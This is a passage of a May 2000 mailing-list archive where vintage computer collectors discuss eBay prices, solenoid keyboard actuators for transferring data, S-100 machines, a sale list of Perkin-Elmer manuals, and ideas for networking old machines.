(Eric Smith) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay strategies (was Re: Ebay Altair) In-Reply-To: <000510090428.2020c13a@trailing-edge.com> (CLASSICCMP@trailing-edge.com) References: <000510090428.2020c13a@trailing-edge.com> Message-ID: <20000510201453.21819.qmail@brouhaha.com> Tim wrote: > "E-bay experts" at how awful it is. How they tried it once and got outbid > by $1 and lost. Everyone complains about that, but when you are the second-highest bidder in an eBay auction, there's no way to know how much you were outbid by. It only *appears* that you were outbid by the minimum bid increment, due to the nature of the proxy bidding system. It's possible that you were outbid by thousands of dollars. Only the winning bidder and eBay know. From jfoust at threedee.com Wed May 10 15:20:01 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:43 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: <4.3.0.20000510151437.0221def0@pc> At 01:08 PM 5/10/00 -0700, Fred Cisin (XenoSoft) wrote: >This is THE device that will transfer files to ANYTHING. IF you can stop >laughing. Sounds like fun. How could it come close to hitting any key on any keyboard? Are the solenoids positionable? Certainly in some situations, a parallel-to-serial conversion box could capture the bitstream from an archaic computer. That route would have the benefit of a buffer in most cases. Does this gizmo have a buffer? As such, it would be most useful for getting data *into* a system that didn't have a way to import an ordinary text file. You could even write filters to massage the stream in order to hit weird key sequences to reformat the text. - John From mikeford at socal.rr.com Wed May 10 15:14:36 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair In-Reply-To: <3919A76D.35B8E0B@rain.org> References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> <20000510121039.A12407@dbit.dbit.com> Message-ID: >I've heard a number of (to me) horror stories about people selling things, >but wanting to check first on ebay "to see what it is worth." I rarely deal >with that type of person since I am not interested in paying "retail" :). Just depends, when some seller throws that at me, and I KNOW they aren't a eBay seller, I give them the "other side of eBay speech". Have they ever done a web page, since EACH eBay ad is much like a web page, and only the well done ads get top dollar. What kind of guarantee do they plan on giving me, on eBay if they sell me crap I can post negative feedback so nobody sane will buy from them. Finally whats it worth to them not to have to pack the item, since nobody on eBay is willing to pay above actual shipping costs. Half the time I convince myself I don't want to mess with selling the items on eBay either. Paying retail, phooey, I don't like paying some scrap prices. From mikeford at socal.rr.com Wed May 10 15:24:18 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair In-Reply-To: <000901bfbab1$59046060$0400c0a8@winbook> References: Message-ID: >of food. If you're in the habit of paying $1 for a hamburger, say, and >someone else wants bo buy them all for $1.25, YOU may dislke that, but the Aaaah! Stop torturing me, we all know the 99 cent whopper is gone, don't rub it in. From chris at mainecoon.com Wed May 10 16:54:48 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:52:43 2005 Subject: OT: Re: Keyboard actuator References: <4.3.0.20000510151437.0221def0@pc> Message-ID: <3919DAA8.6827BCA4@mainecoon.com> John Foust wrote: > > At 01:08 PM 5/10/00 -0700, Fred Cisin (XenoSoft) wrote: > >This is THE device that will transfer files to ANYTHING. IF you can stop > >laughing. > > Sounds like fun. How could it come close to hitting any key on any > keyboard? Are the solenoids positionable? This hits a little too close to home. Back in '90 I was involved with a project which had to interface to the Tokyo Stock Exchange. As it turned out there were multiple means of introducing trades into the TSE, all a function of the instrument in question. These consisted of: - Something not completely unlike bisync on a 56K line that could only be used for a handful of instruments. - A system which required writing 5'4" 360K floppies using a proprietary disk format which were then hand carried from the writing station to a separate reader where the trades were snarfed off and uploaded to the TSE (again, for a small universe of instruments) - An async dialup system which one was absolutly prohibited from connecting to anything other than an approved terminal. Naturally this was the system that was used to both input and capture the vast majority of trades. To make things worse, the TSE employed a small army of auditors who would make surprise inspections to assure that you hadn't contaminated their pristine dial-up lines with your own equipment. As a consequence of this, most trading floors included a bizarre piece of hardware which -- you guessed it -- hammered the keyboard with solenoid actuated fingers along with (then quite pricy) OCR hardware to make sense of the stuff being puked back by the exchange. When I first saw all of this stuff I thought it was one of the funniest things I'd ever seen. It was when I realized that it was up to my team to make it work that depression set in... -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From fmc at reanimators.org Wed May 10 17:05:20 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:52:43 2005 Subject: s100 busses! In-Reply-To: Ron Hudson's message of "Tue, 09 May 2000 20:28:34 -0700" References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> <3918D762.18B15E2E@ix.netcom.com> Message-ID: <200005102205.PAA63958@daemonweed.reanimators.org> Ron Hudson wrote: > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? Some years ago (1994 or 1995 I think) someone posted an article to alt.folklore.computers about a manufacturer of voting machines who was still building their own S-100-based design for use in that application. Sorry, I didn't save a copy of the article. -Frank McConnell From xds_sigma7 at hotmail.com Wed May 10 17:23:06 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair Message-ID: <20000510222306.48091.qmail@hotmail.com> Hey now, I can personally vouch that you did indeed get the Interdata 7/32... ;p The real truth is that you can find anything, provided you look hard enough... Hell, the way I got my 3 Interdata 7/32s (well now 2), 2 Perkin-Elmer 3203's, P-E 3205, and 3 P-E 3210's was by doing a search in excite for "interdata 7/32 minicomputer" and lo! I came across an ad (barely 3 hours old) saying "We've got all this stuff for free, if you want it, its yours, just pay shipping, else its scrapped." So I got it. End of story. No Ebaying involved... though half the people who pay stupid prices for say common 11/35's wouldn't know what a 7/32 was if it hit them on the head... I got a Sperry-Univac COBOL training course at a used bookstore... and I got the FEP software for a DECsystem-10/20 at a thrift store for $6. Hell I got my Nova 1210 by posting a "I want old computers" message in the newsgroup co.ads... my point is, if you want it, look harder! I'm not trying to brag, I'm only giving examples... I haven't even been collecting computers for a year yet. But for god's sake, try harder! If I wasn't a year late I would have manuals/software/schematics for my Varian.. but he pitched them.. if I was only one month sooner I would have the disk + tape drives for my Honeywell AND all the manuals + software... So get out there and SAVE the stuff! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From cmcmanis at mcmanis.com Wed May 10 18:17:22 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:43 2005 Subject: Really Why I Hate eBay References: Message-ID: <3919EE02.ED09A65A@mcmanis.com> I think Sellam hit it right on the head. However this is true in other areas as well when you recognize it. I remember the great MIDI-scurge that happened in the early 80's. Here musicians who worked hard at practicing their craft could be replaced by a guy plinking down one note at a time in some studio. Of course being a muscian myself I came to realize that the music doesn't come from the tools, it comes from inside. These latter day collectors (I met one on Ebay just recently who decided he wanted a collection so he bought about 100 pieces of stuff related to the particular computer (no since giving him away if he's senstive about it) and what does he have? 100 pieces of stuff. Not a collection with an understanding about the significance (or lack thereof) of various pieces, who went out of business producing this product only to be reborn in the PC industry as some future magnate. Etc. When they put an escalator up to the top of Mt. Everest then anyone can "climb the tallest mountain." Trust me though, it won't be the same. --Chuck foo wrote: > > Well, upon thinking about it some more it finally struck me why I really > hate eBay. > > Before eBay I was able to build a fairly significantly collection through > a lot of hard work. This included a lot of searching, a lot of walking, a > lot of driving, a lot of bargaining, lot of hauling, some sweat, some > blood, perhaps a few tears, etc. Through all this hard work I was able to > amass a very nice collection of historical computer artifacts. It took > some money as well, but the journey was the reward as they say. > > After eBay came it along, anybody with a little money (or rather a > considerable amount of money in most cases) could amass a collection to > perhaps rival mine without any of the hard work: without the journey. > > I guess it's typical human resentment. I resent the fact that my hard > work could be equaled by a large number of dollars. I feel that a > collection that can be bought so easily can not really be a collection in > the sense that mine is, but something else entirely. > > But what really do I have to be resentful about? I've had the journey, > which is something money can't buy. I have the harrowing stories to tell > and the stories of those whom I've acquired the artifacts from. You can't > get that from eBay (unless you can somehow dramatically depict the act of > picking up a package from your porch). > > So behind all my anti-eBay rants, what I'm saying is, this hobby is much > more rewarding when there has been work involved in creating your > collection. It's kinda like the difference between actually going > out and hunting for your meat as opposed to just picking it off atop your > horse after having it herded towards you. > > Remember, you're not just creating a collection, you're recording a story. > > So there you have it. My true feelings on the matter. It's like Being > Sellam Ismail (only better because you get to go back being you now ;) From xds_sigma7 at hotmail.com Wed May 10 18:11:17 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:43 2005 Subject: TK70 that Don Maslin has/had(?) Message-ID: <20000510231117.67172.qmail@hotmail.com> Hi, Just thought I would say that if someone does get the TK70 from Don, I have the controller (Qbus) available.. Can't guarantee that it works and I don't have the cable, but it's better than nothing! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From foo at siconic.com Wed May 10 17:13:29 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair In-Reply-To: <3.0.2.32.20000510135011.00699340@postoffice3.mail.cornell.edu> Message-ID: On Wed, 10 May 2000, Carlos Murillo wrote: > Of course, I've bought things that I probably shouldn't have > bought (I took risks). On the other hand, in teeny isolated Ithaca there > are no scrapyards and there is only one ham meeting a year (there is > another one close by, so that makes two hamfests a year). Why do you limit yourself to only the yearly hamfest? What about the regular flea markets? What about the thrift stores? I'm sure you have one or the other or both in your area or at least within a 30 mile drive. What about placing an ad in your local paper? WANTED: Cash for your Old Computers! (Be sure to mention 1985 or earlier or else all you'll get is PC schlock.) > My only source of free stuff is the ocassional find at the > dumpster in the EE department. And I am not going to cut short > what little family time I have on weekends in order to drive long > distances to more plentiful lands. Well, you must be an adventurer if you're really to enjoy this. That means occasional long drives. Make it a family event! I guess that article on where to find old computers that I've been meaning to write is still very relevant. I'll dust it off and finish it up. Sellam From dlw at trailingedge.com Wed May 10 18:14:10 2000 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:52:43 2005 Subject: Perkin-Elmer manuals available Message-ID: <3919A6F2.27231.1FC4A09@localhost> I received this but I'm not interested so I'm passing it along to the group. If anyone is interested contact the person below. ----------------------------------------- From: "jdarren" Subject: Re: Perkin-Elmer manuals Date sent: Wed, 10 May 2000 11:10:34 -0500 Thanks very much for your reply. I'm in Dothan, Alabama. I want $8 each plus shipping. For the entire lot, $325 with shipping included. Item, Vendor, Title, Date --------------------------------- 1, P/E, OS/32 SUPERVISOR CALL (SVC) REFERENCE MANUAL, 1985 2, P/E, OS/32 SYSTEM LEVEL PROGRAMMER REFERENCE MANUAL, 1984 3, P/E, OS/32 8.1 MTM SOFTWARE INSTALLATION GUIDE, 1985 4, P/E, OS/32 MTM SYSTEM PLANNING AND OPERATOR REFERENCE MANUAL, 1985 5, P/E, MULTI-TERMINAL MONITOR (MTM) REFERENCE MANUAL, 1985 6, P/E, OS/32 COPY USER GUIDE, 1985 7, P/E, OS/32 EDIT USER GUIDE, 1984 8, P/E, OS/32 APPLICATION LEVEL PROGRAMMING REFERENCE, 1985 9, P/E, OS/32 LINK REFERENCE MANUAL, 1985 10, P/E, OS/32 AIDS USER GUIDE, 1984 11, P/E, OS/32 SYSTEM SUPPORT RUN-TIME LIBRARY (RTL) REFERENCE MANUAL, 1985 12, P/E, MINI I/O SUBSYSTEM MANUAL, ???? 13, P/E, OS/32 SYSTEM SUPPORT UTILITIES REFERENCE MANUAL, 1985 14, P/E, SPL/32 SPOOLER SYSTEM ADMINISTRATION MANUAL, 1984 15, P/E, OS/32 8.1 SOFTWARE INSTALLATION GUIDE, 1985 16, P/E, OS/32 OPERATOR REFERENCE MANUAL, 1986 17, P/E, ENVIRONMENT CONTROL MONITOR (ECM/32) SYSTEM PROGRAMMING AND OPERATIONS REFERENCE MANUAL, 1984 18, P/E, OS/32 OPERATOR POCKET GUIDE, 1985 19, P/E, OS/32 OPERATIONS PRIMER, 1985 20, P/E, COMMON ASSEMBLY LANGUAGE/32 (CAL/32) REFERENCE MANUAL, 1986 21, P/E, COMMON ASSEMBLY LANGUAGE MACRO/32 PROCESSOR (CAL MACRO/32) LIBRARY UTILITY REFERENCE MANUAL, 1984 22, P/E, OS/32 SYSTEM MACRO LIBRARY REFERENCE MANUAL, 1984 23, P/E, OS/32 BASIC DATA COMMUNICATIONS REFERENCE MANUAL, 1985 24, P/E, NETWORK DRIVERS PROGRAMMING REFERENCE MANUAL, 1984 25, P/E, OS/32 ASYNCHRONOUS COMMUNICATIONS REFERENCE MANUAL, 1981 26, P/E, OS/32 CHARACTER SYNCHRONOUS COMMUNICATIONS REFERENCE MANUAL, 1979 27, CCC, OS/32 MEDIT SOFTWARE INSTALLATION GUIDE, 1988 28, CCC, OS/32 MEDIT SCREEN EDITOR USER GUIDE, 1984 29, CCC, OS/32 MEDIT SCREEN EDITOR QUICK GUIDE, 1985 30, CCC, SERIES 3200 ETHERNET CONTROLLER, 1990 31, CCC, RELEASE NOTES FOR THE NM10B ETHERNET PROTOCOL MODULE, 1986 32, CCC, ETHERNET SPECIFICATIONS, 1980 33, CCC, NETWORK DRIVERS PROGRAMMING REFERENCE MANUAL, 1986 34, CCC, PROCOM OS/32 DRIVERS MANUAL, 1988 35, CCC, MODELS 6312 AND 6312+ VIDEO DISPLAY UNIT (VDU) INSTALLATION MANUAL, 1988 36, CCC, MODELS 6312 AND 6312+ VIDEO DISPLAY UNIT (VDU) USER GUIDE, 1990 37, P/E, M48-013 UNIVERSAL LOGIC INTERFACE INSTRUCTION MANUAL, 1973 38, CCC, 3280MPS INSTALLATION AND CONFIGURATION MANUAL, 1987 39, CCC, MODEL 34-043 POWER SUBSYSTEM THEORY OF OPERATION MANUAL, 1987 40, CCC, DIRECT MEMORY INTERFACE (DMI) THEORY OF OPERATION MANUAL, 1986 41, CCC, COMPOSITE MEMORY MODULE (CMM) THEORY OF OPERATION MANUAL, 1987 42, CCC, SYSTEM BUS (S-BUS) THEORY OF OPERATION MANUAL, 1987 43, CCC, 3280 SYSTEM CONTROL/DIAGNOSTIC SYSTEM (CDS) THEORY OF OPERATION MANUAL, 1987 44, CCC, 3280 CPU THEORY OF OPERATION MANUAL, 1987 45, CCC, XELOS USER GUIDE, 1987 46, CCC, FORTRAN VII RELEASE NOTES, 1990 47, CCC, DEVELOPING PROGRAMS WITH FORTRAN VII, 1990 48, CCC, 3280 AND MICRO3200 PRODUCT OVERVIEW, 1989 49, CCC, VME BUS INTERFACE (VMEBI)/VERSABUS INTERFACE DIAGNOSTIC, 1991 50, CCC, VME BUS INTERFACE (VMEBI) OS/32 DRIVER MANUAL, 1990 51, CCC, VME BUS INTERFACE (VMEBI)/VERSABUS INTERFACE PROGRAMMING MANUAL, 1990 52, CCC, ELECTROSTATIC PRINTER/PLOTTER DIAGNOSTIC PROGRAM DESCRIPTION, 1988 53, CCC, ELECTROSTATIC PRINTER/PLOTTER DRIVER MANUAL, 1987 54, CCC, VME BUS INTERFACE (VMEBI) INSTALLATION AND MAINTENANCE MANUAL, 1990 55, CCC, MULTIPERIPHERAL CONTROLLER (MULTI-LAYER MPC) THEORY OF OPERATION MANUAL, 1989 56, CCC, CDS ERROR MESSAGE AND KEY 2 57, p- e, universal clock module programming manual, 1982 58, p-e, M46-233 line printer interface installation and maintenance manual, 1978 59, p-e, common universal clock module test program, 1983 60, p-e, M48-000, M48-061, M48-002 universal clock (10-bit address) maintenance manual, 1985 61, p-e, common line printer test program, 1981 COMMAND REFERENCE MANUAL, 1989 ---------------------------------- ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From rutledge at cx47646-a.phnx1.az.home.com Wed May 10 18:19:34 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:52:43 2005 Subject: OT: Re: Keyboard actuator In-Reply-To: <3919DAA8.6827BCA4@mainecoon.com>; from Chris Kennedy on Wed, May 10, 2000 at 02:54:48PM -0700 References: <4.3.0.20000510151437.0221def0@pc> <3919DAA8.6827BCA4@mainecoon.com> Message-ID: <20000510161934.G23720@electron.quantum.int> On Wed, May 10, 2000 at 02:54:48PM -0700, Chris Kennedy wrote: > - A system which required writing 5'4" 360K floppies using a 5 foot 4 inch floppies? :-) You'd think they'd hold a lot more than 360K. LOL > As a consequence of this, most trading floors included a bizarre > piece of hardware which -- you guessed it -- hammered the > keyboard with solenoid actuated fingers along with (then > quite pricy) OCR hardware to make sense of the stuff being puked > back by the exchange. Gawd. Sounds like something out of _Brazil_. I used to wonder when I was a kid if I could turn my Selectric into a printer... would there be any shortcuts to controlling that ball, or would it be necessary to use solenoids for every key. This was before I knew that Selectrics had in fact been used as tty's back before my time. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From foo at siconic.com Wed May 10 17:25:56 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair In-Reply-To: <4.3.0.20000510150152.0221dba0@pc> Message-ID: On Wed, 10 May 2000, John Foust wrote: > At 07:48 AM 5/10/00 -0700, foo wrote: > >eBay is a sickness. Those who continue to defend the prices paid for > >items bought from eBay are only trying to justify in their own minds the > >fact that they are spending way too much money on things they really > >should not be. > >Of course I will be attacked for saying all this, but then addicts do get > >bolshie when confronted with the reality of the situation. > > All this coming from the one who knew about the price of speculums on eBay. :-) Mind your manners there, Johnny boy. I was speaking of Mr. Mhyrvold. :) From george at racsys.rt.rain.com Wed May 10 18:34:03 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:52:43 2005 Subject: Getting all the system connected... In-Reply-To: <3919EE02.ED09A65A@mcmanis.com> Message-ID: And what to do when it is all connected? I've been watching others talk about their collections. I have a minor collection of machines that I'd like to see the majority of them to be powered up and do something in the real world. One of the keys I see is to have them exchange information from/to a common server. I think I have the exhange figured out. The server would probably be running some sort of free unix (freebsd/Linux Whatever) and be connected to each of the diversified clients via RS-232. The Server would act as File server/Time Server(for those without RTC's) as well as a link to a conventional home LAN. Assumeing you could get them connected what nobel project could this mass of diversified machines be commissioned to do? Obviously they are way too slow to do Seti@home (Wouldn't it be a kick if a really old machine found something significant?) but surely there could be some project that could be engineered to be useful? Brainstorming.. Here is a thought.... Redirecting those with serial consoles to the server one could access the old machines from the LAN/WAN/Web might serve some sort of educational function. Other ideas? Does this even make sense? George Rachor george@racsys.rt.rain.com ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX From foo at siconic.com Wed May 10 17:45:35 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:43 2005 Subject: Getting all the system connected... In-Reply-To: Message-ID: On Wed, 10 May 2000, George Rachor wrote: > Assumeing you could get them connected what nobel project could this mass > of diversified machines be commissioned to do? Obviously they are way too > slow to do Seti@home (Wouldn't it be a kick if a really old machine found > something significant?) but surely there could be some project that could > be engineered to be useful? That would make a great exhibit at VCF 4.0. A noble project if I ever saw one! > Does this even make sense? Yes! Putting them up on the net via telnet would be like a cheap geek amusement park. Sellam From lemay at cs.umn.edu Wed May 10 18:46:33 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:43 2005 Subject: Getting all the system connected... In-Reply-To: from George Rachor at "May 10, 2000 04:34:03 pm" Message-ID: <200005102346.SAA00091@caesar.cs.umn.edu> > > Other ideas? Since the old computers will waste tons of electricity, while producing relatively no cpu power in comparison to a modern CPU chip, you should use your connected group as a space heater. > > Does this even make sense? Yes. The only 100% efficient electrical appliance, is a heater. Since by definition, it is supposed to convert electricity into waste, ie, heat or other forms that eventually will become heat ;) -Lawrence LeMay From richard at idcomm.com Wed May 10 18:51:06 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:43 2005 Subject: s100 busses! References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> <3918D762.18B15E2E@ix.netcom.com> <20000510200100.21688.qmail@brouhaha.com> Message-ID: <001901bfbada$9c3ddcc0$0400c0a8@winbook> As the number of expansion slots in a PC approaches zero, the marginal propensity to use something else increases. Of course you have to consider the candidates. There's always that old PC/AT that hasn't been fired up in a few years. There's that stackable PCI stuff. ... and, of course, there's that old S-100 or Multibus-1 box that's been languishing in the closet in the downstairs spare bedroom since '82 or so. Control and telemetry tasks haven't really gotten to be much more demanding over the 20 years intervening, so maybe one of those options should be considered. Yes, you could build hardware to attach to your notebook's EPP port, but do you really want to wed your notebook to those tasks for lengthy periods? Yup! That ol' S-100 box could fill the bill nicely. Even if you just need an SBC like the ones from Intel (for Multibus) or for S-100 from SD Systems, et. al. Think about it! Even an old PDP11/03 would be a candidate, right? Dick ----- Original Message ----- From: Eric Smith To: Sent: Wednesday, May 10, 2000 2:01 PM Subject: Re: s100 busses! > > Does anyone still sell s100 based computers? > > Aren't they used still for process controll and automation? > > There are certainly many still running in such applications (just as > there are still many PDP-8s, PDP-11s, Novas, and such), but I don't > think any *new* S-100 machines have been manufactured and sold into these > applications in the last five years. In the early-to-mid '80s, all > of the industrial applications that wanted general-purpose computers > (rather than dedicated embedded controllers) started switching over to > PCs. > From george at racsys.rt.rain.com Wed May 10 18:55:09 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:52:43 2005 Subject: Getting all the system connected... In-Reply-To: <200005102346.SAA00091@caesar.cs.umn.edu> Message-ID: The space heater concept isn't lost on me here. The machines would go in a fairly large garage. Winters would be fine. It is the summer that I would worry about. George ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Wed, 10 May 2000, Lawrence LeMay wrote: > > > > Other ideas? > > Since the old computers will waste tons of electricity, while producing > relatively no cpu power in comparison to a modern CPU chip, you should > use your connected group as a space heater. > > > > > Does this even make sense? > > Yes. The only 100% efficient electrical appliance, is a heater. Since > by definition, it is supposed to convert electricity into waste, ie, > heat or other forms that eventually will become heat ;) > > -Lawrence LeMay > From george at racsys.rt.rain.com Wed May 10 18:58:16 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:52:43 2005 Subject: Getting all the system connected... In-Reply-To: Message-ID: At the rate I'm going it would be more like VCF 9.0 but thanks for the encouragement. At work I used to have an old Intel MDS 800 that I would need once in a while for program development. The last time I used it I connected via 'cu' and did most of the work from my office and the machine was in the lab. I wonder whatever happened to that machine. That was a long time ago. George ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Wed, 10 May 2000, Vintage Computer GAWD! wrote: > On Wed, 10 May 2000, George Rachor wrote: > > > Assumeing you could get them connected what nobel project could this mass > > of diversified machines be commissioned to do? Obviously they are way too > > slow to do Seti@home (Wouldn't it be a kick if a really old machine found > > something significant?) but surely there could be some project that could > > be engineered to be useful? > > That would make a great exhibit at VCF 4.0. A noble project if I ever saw > one! > > > Does this even make sense? > > Yes! Putting them up on the net via telnet would be like a cheap geek > amusement park. > > Sellam > > From pechter at pechter.dyndns.org Wed May 10 18:59:21 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:43 2005 Subject: Getting all the system connected... In-Reply-To: from George Rachor at "May 10, 2000 04:34:03 pm" Message-ID: <200005102359.TAA22630@bg-tc-ppp588.monmouth.com> > And what to do when it is all connected? > > Brainstorming.. Here is a thought.... > Redirecting those with serial consoles to the server one could access the > old machines from the LAN/WAN/Web might serve some sort of educational > function. > > Other ideas? > > Does this even make sense? > > George Rachor > george@racsys.rt.rain.com > > > ========================================================= > George L. Rachor Jr. george@racsys.rt.rain.com > Beaverton, Oregon http://racsys.rt.rain.com > United States of America Amateur Radio : KD7DCX > Works for me... however I'd need a webcam to see the blinking lights and a robot arm for the toggle switches 8-) Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From richard at idcomm.com Wed May 10 19:01:19 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:43 2005 Subject: Keyboard actuator References: <4.3.0.20000510151437.0221def0@pc> Message-ID: <003301bfbadc$09443660$0400c0a8@winbook> I knew someone who had one of these gadgets back in the '70's. He wore out a selectric in about two weeks. Dick ----- Original Message ----- From: John Foust To: Sent: Wednesday, May 10, 2000 2:20 PM Subject: Re: Keyboard actuator > At 01:08 PM 5/10/00 -0700, Fred Cisin (XenoSoft) wrote: > >This is THE device that will transfer files to ANYTHING. IF you can stop > >laughing. > > Sounds like fun. How could it come close to hitting any key on any > keyboard? Are the solenoids positionable? > > Certainly in some situations, a parallel-to-serial conversion box > could capture the bitstream from an archaic computer. That route > would have the benefit of a buffer in most cases. Does this gizmo > have a buffer? > > As such, it would be most useful for getting data *into* a system > that didn't have a way to import an ordinary text file. You could > even write filters to massage the stream in order to hit weird > key sequences to reformat the text. > > - John > From cmcmanis at mcmanis.com Wed May 10 19:12:39 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:43 2005 Subject: Getting all the system connected... References: Message-ID: <3919FAF7.296A0CC8@mcmanis.com> Well, I'm using a VAX to teach my daughter C programming. She likes having the "weird" computer all to herself. (I'll have to get after her about playing rogue though :-) I taught her binary/assembly on the PDP-8. So far the ideal cirriculum seems to be: Cardiac - basic computer concepts PDP-8 - Cardiac in hardware :-) VAX - High level languages I'll probably use the PDP-11/23 to teach her about operating systems because it has such an easy to use MMU that one can grasp it fairly quickly. --Chuck George Rachor wrote: > > The space heater concept isn't lost on me here. The machines would go in > a fairly large garage. Winters would be fine. It is the summer that I > would worry about. > > George > > ========================================================= > George L. Rachor Jr. george@racsys.rt.rain.com > Beaverton, Oregon http://racsys.rt.rain.com > United States of America Amateur Radio : KD7DCX > > On Wed, 10 May 2000, Lawrence LeMay wrote: > > > > > > > Other ideas? > > > > Since the old computers will waste tons of electricity, while producing > > relatively no cpu power in comparison to a modern CPU chip, you should > > use your connected group as a space heater. > > > > > > > > Does this even make sense? > > > > Yes. The only 100% efficient electrical appliance, is a heater. Since > > by definition, it is supposed to convert electricity into waste, ie, > > heat or other forms that eventually will become heat ;) > > > > -Lawrence LeMay > > From donm at cts.com Wed May 10 19:03:05 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:43 2005 Subject: TK70 that Don Maslin has/had(?) In-Reply-To: <20000510231117.67172.qmail@hotmail.com> Message-ID: On Wed, 10 May 2000, Will Jennings wrote: > Hi, > Just thought I would say that if someone does get the TK70 from Don, I have > the controller (Qbus) available.. Can't guarantee that it works and I don't > have the cable, but it's better than nothing! > > Will J > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com It is on its way to Chuck McManis even now. You might want to e-mail him off list, as he is out of town now. - don From richard at idcomm.com Wed May 10 19:02:45 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:43 2005 Subject: Ebay Altair References: Message-ID: <003901bfbadc$3ce56020$0400c0a8@winbook> I don't even like Whoppers, but you got me to thinking about food. Now I'll be nibbling for the rest of the evening. Dick ----- Original Message ----- From: Mike Ford To: Sent: Wednesday, May 10, 2000 2:24 PM Subject: Re: Ebay Altair > >of food. If you're in the habit of paying $1 for a hamburger, say, and > >someone else wants bo buy them all for $1.25, YOU may dislke that, but the > > Aaaah! Stop torturing me, we all know the 99 cent whopper is gone, don't > rub it in. > > From cisin at xenosoft.com Wed May 10 19:26:43 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:43 2005 Subject: Keyboard actuator In-Reply-To: <4.3.0.20000510151437.0221def0@pc> Message-ID: On Wed, 10 May 2000, John Foust wrote: > Sounds like fun. How could it come close to hitting any key on any > keyboard? Are the solenoids positionable? Not quite ANY. It has a little bit of positional adjustment, but not much, and has provision for different key heights (for "Selectric", etc.). The good news is that key spacing is, for all practical purposes, standardized. Different key arrangements can be handled by swapping solenoids around, or in software. It only does the regular "alphanumeric" keys, and does not operate function keys, etc., even if they ARE where god intended. > Certainly in some situations, a parallel-to-serial conversion box > could capture the bitstream from an archaic computer. That route > would have the benefit of a buffer in most cases. Does this gizmo > have a buffer? Although it could be used for transferring FROM a machine whose only external manifestation is a centronics port, for THAT I would agree that a parallel to serial converter is simpler. If there is any buffer, it's surely no more than a few characters. Instead, it is using the paralel port handshaking signals. There are "inline" parallel printer buffers that would work with it. Serial port is fine IFF 1) there is one. not on the Merganthaler from hell. 2) there is appropriate software. a VERY common lack. Cabling is an inconvenience, but not a major obstacle. usually. > At 01:08 PM 5/10/00 -0700, Fred Cisin (XenoSoft) wrote: > >This is THE device that will transfer files to ANYTHING. IF you can stop > >laughing. > As such, it would be most useful for getting data *into* a system > that didn't have a way to import an ordinary text file. You could > even write filters to massage the stream in order to hit weird > key sequences to reformat the text. That's right. For routine transfer between relatively ordinary machines there are other ways. As you know, MY preferred method is reading and writing alien soft-sectored disk formats. But there are some machines for which NONE of the "reasonable" methods apply. (such as that Merganthaler typesetter) -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From cisin at xenosoft.com Wed May 10 19:56:48 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:43 2005 Subject: Keyboard actuator In-Reply-To: <003301bfbadc$09443660$0400c0a8@winbook> Message-ID: On Wed, 10 May 2000, Richard Erlacher wrote: > I knew someone who had one of these gadgets back in the '70's. He wore out > 